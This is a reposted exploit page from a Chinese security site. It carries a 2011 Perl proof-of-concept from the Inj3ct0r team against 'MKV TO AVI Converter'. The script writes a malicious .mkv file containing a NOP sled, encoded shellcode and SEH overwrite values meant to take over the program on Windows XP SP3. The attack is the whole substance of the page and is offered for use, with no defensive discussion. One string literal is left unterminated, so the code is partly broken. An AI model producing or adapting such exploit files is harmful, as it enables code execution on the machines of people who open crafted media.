首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
MKV TO AVI Converter Local Buffer Overflow(SEH)
来源:Angel-Injection@hotmail.com 作者:Angel 发布时间:2011-09-26  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm Angel Injection member from Inj3ct0r Team          1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
#!/usr/bin/perl
# Exploit Title: MKV TO AVI Converter Local Buffer Overflow(SEH)
# Tested on: Win XP SP3
# Date: 20/9/2011
# Author: Angel Injection
# Home: http://1337day.com
# Thank to: Inj3ct0r Owners And Members
 
my $file= "exploit.mkv";
my $size = 3200;
my $stack = "\xe6\xed\xef\xff\xff" .
            "\xe5\xd4" .
            "\x20\xd5;
my $shellcode = "\xbf\xa0\x03\xb5\xf2\x33\xc9\xb1\x32\xdb\xdf\xd9\x74\x24" .
"\xf4\x5a\x31\x7a\x0e\x03\x7a\x0e\x83\x62\x07\x57\x07\x9e" .
"\xe0\x1e\xe8\x5e\xf1\x40\x60\xbb\xc0\x52\x16\xc8\x71\x63" .
"\x5c\x9c\x79\x08\x30\x34\x09\x7c\x9d\x3b\xba\xcb\xfb\x72" .
"\x3b\xfa\xc3\xd8\xff\x9c\xbf\x22\x2c\x7f\x81\xed\x21\x7e" .
"\xc6\x13\xc9\xd2\x9f\x58\x78\xc3\x94\x1c\x41\xe2\x7a\x2b" .
"\xf9\x9c\xff\xeb\x8e\x16\x01\x3b\x3e\x2c\x49\xa3\x34\x6a" .
"\x6a\xd2\x99\x68\x56\x9d\x96\x5b\x2c\x1c\x7f\x92\xcd\x2f" .
"\xbf\x79\xf0\x80\x32\x83\x34\x26\xad\xf6\x4e\x55\x50\x01" .
"\x95\x24\x8e\x84\x08\x8e\x45\x3e\xe9\x2f\x89\xd9\x7a\x23" .
"\x66\xad\x25\x27\x79\x62\x5e\x53\xf2\x85\xb1\xd2\x40\xa2" .
"\x15\xbf\x13\xcb\x0c\x65\xf5\xf4\x4f\xc1\xaa\x50\x1b\xe3" .
"\xbf\xe3\x46\x69\x41\x61\xfd\xd4\x41\x79\xfe\x76\x2a\x48" .
"\x75\x19\x2d\x55\x5c\x5e\xcf\xa4\x6d\x4a\x58\x1f\x04\x37" .
"\x04\xa0\xf2\x7b\x31\x23\xf7\x03\xc6\x3b\x72\x06\x82\xfb" .
"\x6e\x7a\x9b\x69\x91\x29\x9c\xbb\xf2\xac\x0e\x27\xf5";
 
my $jump = "\xd5\x16\xff\xff\xff";
 
my $eip = pack('V', 0x8c79357e);
my $nseh = "\xed\xf7\xff\xff";
my $seh = pack('V', 0x00509543);
 
 
my $junk = "\x90" x ($size-length($stack.$shellcode.$jump));   
open($FILE,">$file");
print $FILE $junk.$stack.$shellcode.$jump.$eip.$nseh.$seh;
close($FILE);
 
print "Files Created successfully\n";
sleep(1);

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Cool Music Editor Local Stack
·AVCon DEP Bypass
·ScriptFTP <=3.3 Remote Buffer
·ScriptFTP <= 3.3 Remote Buffer
·eSignal and eSignal Pro <= 10.
·KnFTP 1.0.0 Server - Remote Bu
·Blue Coat Reporter Unauthentic
·DaqFactory HMI NETB Request Ov
·Cogent Datahub <= v7.1.1.63 Re
·FreeFloat FTP Server Buffer Ov
·AMADIS Video Converter SEH Buf
·SEasy Karaoke Player buffer ov
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved